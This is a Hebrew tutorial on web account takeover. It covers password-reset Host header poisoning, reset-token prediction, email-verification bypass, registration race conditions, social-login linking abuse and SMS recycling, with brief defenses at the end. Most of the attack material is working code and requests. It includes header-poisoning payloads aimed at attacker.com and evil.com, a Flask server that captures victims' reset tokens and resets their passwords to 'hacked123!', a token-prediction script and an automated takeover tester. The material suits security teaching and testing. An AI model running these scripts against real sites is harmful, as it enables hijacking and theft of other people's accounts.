לדלג לתוכן

השתלטות על חשבונות - Account Takeover

מבוא

השתלטות על חשבון (Account Takeover - ATO) היא אחת החולשות הקריטיות ביותר באפליקציות ווב. היא מאפשרת לתוקף לקבל שליטה מלאה על חשבון של משתמש אחר, כולל גישה למידע רגיש, ביצוע פעולות בשם המשתמש, וגניבת נתונים. בשיעור זה נסקור את הטכניקות המרכזיות להשתלטות על חשבונות ואת דרכי ההגנה.


מתודולוגיה כללית

משטחי התקיפה

1. תהליך איפוס סיסמה (Password Reset)
   - הרעלת Host header
   - חיזוי טוקן איפוס
   - דליפת טוקן

2. תהליך הרשמה (Registration)
   - מרוץ תהליכים (race condition)
   - חשבונות כפולים
   - עקיפת אימות מייל

3. קישור חשבונות (Account Linking)
   - ניצול Social Login
   - חטיפת חשבון מקושר

4. תהליך שחזור חשבון (Account Recovery)
   - שאלות אבטחה חלשות
   - ניצול ערוצי שחזור

5. ניצול מידע מדולף
   - Credential stuffing
   - מיחזור מספרי טלפון

תקיפה 1: הרעלת Host Header באיפוס סיסמה - Password Reset Poisoning

הרקע

כאשר משתמש מבקש איפוס סיסמה, השרת שולח מייל עם לינק איפוס. אם השרת משתמש ב-Host header כדי לבנות את הלינק, תוקף יכול להחליף אותו בדומיין שלו.

תרחיש תקיפה

# בקשת איפוס סיסמה רגילה
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

email=victim@email.com

# מייל שנשלח לקורבן:
# "לחץ כאן לאיפוס סיסמה: https://target.com/reset?token=abc123"
# בקשת איפוס עם Host header מורעל
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded

email=victim@email.com

# מייל שנשלח לקורבן:
# "לחץ כאן לאיפוס סיסמה: https://attacker.com/reset?token=abc123"
# כשהקורבן לוחץ -> הטוקן נשלח לתוקף!

וריאציות של הרעלת Host

# שיטה 1: שינוי Host header
Host: attacker.com

# שיטה 2: הוספת X-Forwarded-Host
Host: target.com
X-Forwarded-Host: attacker.com

# שיטה 3: הוספת X-Host
Host: target.com
X-Host: attacker.com

# שיטה 4: הוספת X-Forwarded-Server
Host: target.com
X-Forwarded-Server: attacker.com

# שיטה 5: Host header עם port
Host: target.com:@attacker.com

# שיטה 6: שני Host headers
Host: target.com
Host: attacker.com

# שיטה 7: Absolute URL
POST https://target.com/forgot-password HTTP/1.1
Host: attacker.com

# שיטה 8: Override headers נוספים
X-Original-URL: https://attacker.com/reset
X-Rewrite-URL: https://attacker.com/reset
X-Forwarded-Scheme: https
X-Forwarded-Proto: https

קוד לקליטת טוקנים

from flask import Flask, request

app = Flask(__name__)

@app.route('/reset', methods=['GET'])
def capture_reset_token():
    """לכידת טוקני איפוס סיסמה"""
    token = request.args.get('token', '')

    if token:
        print(f"[+] טוקן איפוס נלכד: {token}")

        with open('captured_tokens.txt', 'a') as f:
            f.write(f"Token: {token}\n")
            f.write(f"IP: {request.remote_addr}\n")
            f.write(f"User-Agent: {request.user_agent}\n")
            f.write(f"Referer: {request.referrer}\n")
            f.write("---\n")

        # שימוש בטוקן לאיפוס הסיסמה
        import requests
        resp = requests.post(
            'https://target.com/reset-password',
            data={
                'token': token,
                'new_password': 'hacked123!',
                'confirm_password': 'hacked123!'
            }
        )

        if resp.status_code == 200:
            print("[+] הסיסמה שונתה בהצלחה!")

    return '<h1>404 Not Found</h1>', 404

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

תקיפה 2: חיזוי טוקן איפוס - Password Reset Token Prediction

הרקע

טוקני איפוס חייבים להיות אקראיים לחלוטין. כאשר הם מבוססים על זמן, מספרים סדרתיים, או אלגוריתמים חלשים, ניתן לחזות אותם.

דפוסים חלשים נפוצים

# דפוס חלש 1: טוקן מבוסס timestamp
import time
token = str(int(time.time()))
# 1699000000 - קל לניחוש

# דפוס חלש 2: MD5 של timestamp
import hashlib
token = hashlib.md5(str(time.time()).encode()).hexdigest()
# ניתן לשחזור אם יודעים את הזמן המשוער

# דפוס חלש 3: UUID v1 (מבוסס זמן)
import uuid
token = str(uuid.uuid1())
# מכיל timestamp ו-MAC address

# דפוס חלש 4: מספרים סדרתיים
# token_1001, token_1002, token_1003...

# דפוס חלש 5: Base64 של מידע ידוע
import base64
token = base64.b64encode(f"{user_id}:{timestamp}".encode()).decode()

סקריפט ניתוח טוקנים

#!/usr/bin/env python3
"""
ניתוח דפוסים בטוקני איפוס סיסמה
"""

import requests
import time
import hashlib
import base64
import statistics

class TokenAnalyzer:
    def __init__(self, target_url, email):
        self.target_url = target_url
        self.email = email
        self.tokens = []
        self.timestamps = []

    def collect_tokens(self, count=20):
        """איסוף מספר טוקנים לניתוח"""
        print(f"[*] אוסף {count} טוקנים...")

        for i in range(count):
            timestamp = time.time()

            resp = requests.post(self.target_url, data={
                'email': self.email
            })

            # בדרך כלל צריך לחלץ את הטוקן ממייל
            # כאן נניח שיש API שמחזיר אותו
            token = self._extract_token(resp)

            if token:
                self.tokens.append(token)
                self.timestamps.append(timestamp)
                print(f"  [{i+1}] {token}")

            time.sleep(1)

    def _extract_token(self, response):
        """חילוץ טוקן מהתגובה (יש להתאים לאפליקציה)"""
        # בדיקה אם הטוקן מוחזר בתגובה (לצורכי דמו)
        import re
        match = re.search(r'token=([a-zA-Z0-9]+)', response.text)
        return match.group(1) if match else None

    def analyze_pattern(self):
        """ניתוח דפוסים בטוקנים"""
        print("\n[*] ניתוח דפוסים:")

        # אורך קבוע?
        lengths = [len(t) for t in self.tokens]
        print(f"  אורכים: {set(lengths)}")

        # ניסיון פענוח Base64
        for token in self.tokens[:3]:
            try:
                decoded = base64.b64decode(token + '==')
                print(f"  Base64 decode: {decoded}")
            except Exception:
                pass

        # ניסיון פענוח hex
        for token in self.tokens[:3]:
            try:
                decoded = bytes.fromhex(token)
                print(f"  Hex decode: {decoded}")
            except Exception:
                pass

        # בדיקת מתאם עם timestamp
        self._check_timestamp_correlation()

        # בדיקת entropy
        self._check_entropy()

        # בדיקת סדרתיות
        self._check_sequential()

    def _check_timestamp_correlation(self):
        """בדיקה אם הטוקנים קשורים ל-timestamp"""
        print("\n  בדיקת מתאם עם זמן:")

        for i, (token, ts) in enumerate(zip(self.tokens[:5], self.timestamps[:5])):
            ts_int = int(ts)

            # בדיקת MD5 של timestamp
            md5_check = hashlib.md5(str(ts_int).encode()).hexdigest()
            if token == md5_check:
                print(f"  [+] טוקן {i} = MD5(timestamp)!")

            # בדיקת SHA256
            sha_check = hashlib.sha256(str(ts_int).encode()).hexdigest()
            if token == sha_check:
                print(f"  [+] טוקן {i} = SHA256(timestamp)!")

            # בדיקה אם הטוקן מכיל את ה-timestamp
            if str(ts_int) in token:
                print(f"  [+] טוקן {i} מכיל timestamp!")

    def _check_entropy(self):
        """בדיקת אנטרופיה של הטוקנים"""
        print("\n  בדיקת אנטרופיה:")

        charset = set()
        for token in self.tokens:
            charset.update(token)

        print(f"  תווים ייחודיים: {len(charset)}")
        print(f"  תווים: {''.join(sorted(charset))}")

        if len(charset) <= 16:
            print("  [!] אנטרופיה נמוכה - אולי hex בלבד")
        elif len(charset) <= 36:
            print("  [!] אנטרופיה בינונית - אולי alphanumeric lowercase")

    def _check_sequential(self):
        """בדיקה אם הטוקנים סדרתיים"""
        print("\n  בדיקת סדרתיות:")

        try:
            numeric_tokens = [int(t) for t in self.tokens]
            diffs = [numeric_tokens[i+1] - numeric_tokens[i]
                     for i in range(len(numeric_tokens)-1)]

            if len(set(diffs)) == 1:
                print(f"  [+] טוקנים סדרתיים! הפרש קבוע: {diffs[0]}")
            elif statistics.stdev(diffs) < 10:
                print(f"  [!] טוקנים כמעט-סדרתיים. הפרשים: {diffs}")
        except (ValueError, statistics.StatisticsError):
            print("  טוקנים אינם מספריים")

    def predict_next(self):
        """ניסיון חיזוי הטוקן הבא"""
        print("\n[*] ניסיון חיזוי:")

        # חיזוי מבוסס timestamp
        predicted_time = int(time.time())
        predictions = []

        for offset in range(-5, 6):
            ts = predicted_time + offset
            predictions.append(hashlib.md5(str(ts).encode()).hexdigest())
            predictions.append(hashlib.sha256(str(ts).encode()).hexdigest()[:32])
            predictions.append(str(ts))

        return predictions

if __name__ == "__main__":
    analyzer = TokenAnalyzer(
        "https://target.com/forgot-password",
        "test@test.com"
    )
    analyzer.collect_tokens(10)
    analyzer.analyze_pattern()

תקיפה 3: עקיפת אימות דואר אלקטרוני - Email Verification Bypass

טכניקות

# טכניקה 1: שינוי מייל לאחר אימות
# 1. הירשמו עם attacker@evil.com
# 2. אמתו את המייל
# 3. שנו את המייל ל-victim@target.com ללא אימות מחדש

POST /update-profile HTTP/1.1
Content-Type: application/json

{"email": "victim@target.com"}
# טכניקה 2: הרשמה ללא אימות מייל
# בדיקה אם ניתן לגשת לפונקציות ללא אימות
GET /api/user/profile HTTP/1.1
Cookie: session=UNVERIFIED_SESSION
# אם 200 OK -> אימות מייל ניתן לדילוג
# טכניקה 3: מניפולציית לינק אימות
# לינק מקורי:
https://target.com/verify?token=abc123&email=attacker@evil.com

# ניסיון שינוי מייל בלינק:
https://target.com/verify?token=abc123&email=victim@target.com
# טכניקה 4: אימות עם כל טוקן
# בדיקה אם הטוקן קשור למשתמש ספציפי
# 1. בקשו אימות עבור attacker@evil.com -> קבלו token_A
# 2. נסו להשתמש ב-token_A לאימות victim@target.com

POST /verify-email HTTP/1.1
{"token": "token_A", "email": "victim@target.com"}

תקיפה 4: מרוץ תהליכים בהרשמה - Registration Race Conditions

הרקע

כאשר שני בקשות הרשמה עם אותו מייל מגיעות בו-זמנית, ייתכן שהשרת ייצור שני חשבונות עבור אותו מייל.

ניצול

import threading
import requests

def registration_race_condition(target_url, email):
    """ניצול race condition בהרשמה"""

    results = []

    def register(password):
        resp = requests.post(target_url, json={
            'email': email,
            'password': password,
            'name': 'Test User'
        })
        results.append({
            'password': password,
            'status': resp.status_code,
            'body': resp.text[:200]
        })

    # שליחת בקשות הרשמה במקביל
    # אחת עם סיסמה של התוקף, אחת "כאילו" של הקורבן
    threads = []
    for i in range(10):
        t = threading.Thread(
            target=register,
            args=(f"attacker_pass_{i}",)
        )
        threads.append(t)

    # הפעלה בו-זמנית
    for t in threads:
        t.start()
    for t in threads:
        t.join()

    # בדיקת תוצאות
    successes = [r for r in results if r['status'] == 200 or r['status'] == 201]
    print(f"[*] הרשמות שהצליחו: {len(successes)}")

    if len(successes) > 1:
        print("[+] נמצא race condition - נוצרו מספר חשבונות!")

    return results

תרחיש מתקדם

1. הקורבן כבר רשום עם victim@email.com
2. התוקף שולח הרשמה עם victim@email.com במקביל לפעולת שינוי מייל
3. אם ה-race condition מצליח, נוצר חשבון חדש עם מייל הקורבן
4. התוקף מתחבר עם הסיסמה שהוא הגדיר

תקיפה 5: ניצול קישור חשבונות - Linked Account Abuse

הרקע

כאשר אפליקציה מאפשרת Social Login (התחברות עם Google/Facebook/GitHub), ניתן לנצל חולשות בתהליך הקישור.

תרחיש 1: קישור חשבון ללא אימות

# הקורבן מחובר עם סיסמה
# התוקף מצליח להריץ את הבקשה הבאה בשם הקורבן (CSRF)

POST /link-social-account HTTP/1.1
Cookie: victim_session
Content-Type: application/json

{
    "provider": "google",
    "social_id": "attacker_google_id",
    "email": "attacker@gmail.com"
}

# כעת התוקף יכול להתחבר עם חשבון Google שלו לחשבון הקורבן

תרחיש 2: Pre-account Takeover

1. התוקף יוצר חשבון באפליקציה עם victim@email.com
   (ללא אימות מייל, או עם אימות שניתן לעקוף)
2. התוקף מקשר חשבון social שלו לחשבון זה
3. הקורבן נרשם מאוחר יותר עם victim@email.com
   האפליקציה מזהה שהחשבון קיים ומתמזגת
4. התוקף מתחבר עם ה-social login ומקבל גישה לחשבון הקורבן

תקיפה 6: ניצול תהליך שחזור חשבון - Account Recovery Exploitation

שאלות אבטחה חלשות

שאלות שניתן למצוא תשובות להן ברשתות חברתיות:
- מה שם בית הספר שלך? (LinkedIn)
- מה שם חיית המחמד שלך? (Instagram)
- באיזה עיר נולדת? (Facebook)
- מה שם הנעורים של אמך? (מאגרים גנאלוגיים)

OSINT לאיסוף מידע

# איסוף מידע מרשתות חברתיות לשאלות אבטחה
# (לצורכי הדגמה בלבד)

import requests

def gather_osint(target_name):
    """איסוף מידע ציבורי על המטרה"""

    info = {
        'name': target_name,
        'possible_answers': {}
    }

    # חיפוש ברשתות חברתיות
    # LinkedIn - מידע מקצועי
    # Facebook - מידע אישי
    # Instagram - חיות מחמד, נסיעות

    print(f"[*] אוסף מידע על: {target_name}")
    print("[*] בדקו ידנית:")
    print("  - LinkedIn: מידע מקצועי, בתי ספר")
    print("  - Facebook: עיר מגורים, בני משפחה")
    print("  - Instagram: חיות מחמד, תחביבים")
    print("  - Twitter/X: דעות, העדפות")

    return info

תקיפה 7: מיחזור מספרי טלפון - Phone Number Recycling

הרקע

מספרי טלפון ממוחזרים על ידי חברות סלולר. אם חשבון מאובטח עם SMS 2FA או שחזור באמצעות SMS, בעל המספר החדש מקבל גישה.

תרחיש

1. הקורבן מחליף מספר טלפון ולא מעדכן באפליקציה
2. חברת הסלולר מקצה את המספר למשתמש חדש (התוקף)
3. התוקף מבקש איפוס סיסמה באמצעות SMS
4. קוד האימות מגיע לטלפון של התוקף
5. התוקף מאפס את הסיסמה ומשתלט על החשבון

דוגמאות בקשות HTTP - Host Header Poisoning

בדיקה שיטתית

# בדיקה 1: Host header ישיר
POST /forgot-password HTTP/1.1
Host: evil.com

email=victim@target.com

---

# בדיקה 2: X-Forwarded-Host
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

email=victim@target.com

---

# בדיקה 3: דריסת Referer
POST /forgot-password HTTP/1.1
Host: target.com
Referer: https://evil.com

email=victim@target.com

---

# בדיקה 4: כתובת מוחלטת עם Host שונה
POST https://target.com/forgot-password HTTP/1.1
Host: evil.com

email=victim@target.com

---

# בדיקה 5: Host עם port מיוחד
POST /forgot-password HTTP/1.1
Host: target.com:evil.com

email=victim@target.com

---

# בדיקה 6: שימוש ב-Dangling Markup
# אם הלינק מוטמע ב-HTML של המייל
POST /forgot-password HTTP/1.1
Host: target.com:'<a href="https://evil.com/?

email=victim@target.com

סקריפט תקיפה מקיף

#!/usr/bin/env python3
"""
סקריפט בדיקת השתלטות על חשבונות
"""

import requests
import time
import threading
from urllib.parse import urljoin

class AccountTakeoverTester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()

    def test_host_header_poisoning(self, email, attacker_domain):
        """בדיקת הרעלת Host header"""
        print("[*] בודק הרעלת Host header...")

        headers_to_test = [
            {'Host': attacker_domain},
            {'Host': self.base_url.split('//')[1].split('/')[0],
             'X-Forwarded-Host': attacker_domain},
            {'Host': self.base_url.split('//')[1].split('/')[0],
             'X-Host': attacker_domain},
            {'Host': self.base_url.split('//')[1].split('/')[0],
             'X-Forwarded-Server': attacker_domain},
            {'Host': self.base_url.split('//')[1].split('/')[0],
             'X-Original-Host': attacker_domain},
            {'Host': self.base_url.split('//')[1].split('/')[0],
             'Forwarded': f'host={attacker_domain}'},
        ]

        for i, headers in enumerate(headers_to_test):
            resp = self.session.post(
                urljoin(self.base_url, '/forgot-password'),
                data={'email': email},
                headers=headers,
                allow_redirects=False
            )

            if resp.status_code == 200:
                print(f"  [+] בדיקה {i+1}: בקשה התקבלה ({resp.status_code})")
                print(f"      בדקו אם המייל מכיל לינק עם {attacker_domain}")
            else:
                print(f"  [-] בדיקה {i+1}: נדחה ({resp.status_code})")

    def test_token_prediction(self, email, count=5):
        """בדיקת חיזוי טוקני איפוס"""
        print(f"\n[*] אוסף {count} טוקנים לניתוח...")

        tokens = []
        for i in range(count):
            before = time.time()
            resp = self.session.post(
                urljoin(self.base_url, '/forgot-password'),
                data={'email': email}
            )
            after = time.time()

            tokens.append({
                'time_before': before,
                'time_after': after,
                'response': resp.text[:500]
            })
            time.sleep(2)

        print("  נאספו הטוקנים. בצעו ניתוח ידני או השתמשו ב-TokenAnalyzer")
        return tokens

    def test_registration_race(self, email, password):
        """בדיקת race condition בהרשמה"""
        print(f"\n[*] בודק race condition בהרשמה עם {email}...")

        results = []

        def register():
            resp = self.session.post(
                urljoin(self.base_url, '/register'),
                json={
                    'email': email,
                    'password': password,
                    'name': 'Test'
                }
            )
            results.append(resp.status_code)

        threads = [threading.Thread(target=register) for _ in range(10)]
        for t in threads:
            t.start()
        for t in threads:
            t.join()

        successes = results.count(200) + results.count(201)
        print(f"  הצלחות: {successes}/{len(results)}")
        if successes > 1:
            print("  [+] Race condition - נוצרו חשבונות כפולים!")

    def test_email_change_without_verification(self):
        """בדיקת שינוי מייל ללא אימות"""
        print("\n[*] בודק שינוי מייל ללא אימות מחדש...")

        resp = self.session.post(
            urljoin(self.base_url, '/update-email'),
            json={'email': 'new_email@test.com'}
        )

        if resp.status_code == 200:
            print("  [+] מייל שונה ללא אימות!")
        else:
            print(f"  [-] נדחה: {resp.status_code}")

    def run_all(self, email, attacker_domain):
        """הרצת כל הבדיקות"""
        print(f"{'='*60}")
        print(f"[*] בדיקת Account Takeover עבור {self.base_url}")
        print(f"{'='*60}")

        self.test_host_header_poisoning(email, attacker_domain)
        self.test_token_prediction(email)

        print(f"\n{'='*60}")
        print("[*] הבדיקה הושלמה")

if __name__ == "__main__":
    tester = AccountTakeoverTester("https://target.com")
    tester.run_all("victim@email.com", "attacker.com")

הגנות - Defenses

1. יצירת טוקני איפוס מאובטחים

import secrets

def generate_reset_token():
    """יצירת טוקן איפוס מאובטח"""
    # 256 ביט של אנטרופיה
    return secrets.token_urlsafe(32)

# לא להשתמש ב:
# - time.time()
# - uuid.uuid1()
# - random.randint()
# - hashlib.md5(email)

2. אימות Host header

ALLOWED_HOSTS = ['www.myapp.com', 'myapp.com']

def validate_host(request):
    host = request.headers.get('Host', '')
    if host not in ALLOWED_HOSTS:
        raise ValueError("Host header לא מורשה")

3. בניית URLs מאובטחת

# שגוי - שימוש ב-Host header
reset_url = f"https://{request.host}/reset?token={token}"

# נכון - שימוש בערך מוגדר מראש
from config import BASE_URL  # "https://www.myapp.com"
reset_url = f"{BASE_URL}/reset?token={token}"

4. הגנות נוספות

- טוקני איפוס צריכים לפוג תוך 30 דקות
- טוקן נמחק מיד לאחר שימוש
- הגבלת בקשות איפוס (3 לשעה)
- שליחת התראה על ניסיון איפוס
- אימות מייל מחדש לאחר שינוי כתובת
- שימוש ב-Referrer-Policy: no-referrer
- הגנת rate limit על הרשמה
- בדיקת כפילויות אטומית (atomic check) בהרשמה

סיכום

השתלטות על חשבונות היא קטגוריה רחבה שמשלבת מגוון טכניקות. הנקודות העיקריות:

  • הרעלת Host header באיפוס סיסמה היא חולשה נפוצה וקלה לניצול
  • טוקני איפוס חייבים להיות אקראיים לחלוטין עם אנטרופיה גבוהה
  • מרוץ תהליכים בהרשמה יכול ליצור חשבונות כפולים
  • קישור חשבונות חברתיים דורש הגנת CSRF ואימות מלא
  • ההגנה הטובה ביותר משלבת טוקנים חזקים, URLs קבועים, והגבלת קצב